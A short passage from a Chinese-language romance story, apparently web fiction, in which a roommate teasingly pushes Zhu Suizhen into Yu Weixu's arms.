    祝岁祯身上暖和了些,头疼似乎也缓解了不少,她无意间往舍友那里看了一眼,梦梦抱着远文,两人一脸奸笑地看着她和俞惟叙。


    她歪着头看舍友:“你俩能不能别那么……”


    “猥琐?我替你说!哈哈哈哈哈……”梦梦看着毫无办法的祝岁祯,大胆提议,“你俩不然就原地领证吧?配我一脸。”


    祝岁祯气急,走过去就要去教训梦梦,结果却见梦梦给俞惟叙使了个眼色:


    “鱼仔,接好了!”


    话音刚落,梦梦伸出手,大力把她一推——


    祝岁祯惊呼了一声,身体不受控制地退了两步,倒进一个宽阔的怀抱里,腰被牢牢地箍住。


    “接到了,谢谢。”


    她头顶传来俞惟叙愉悦的嗓音。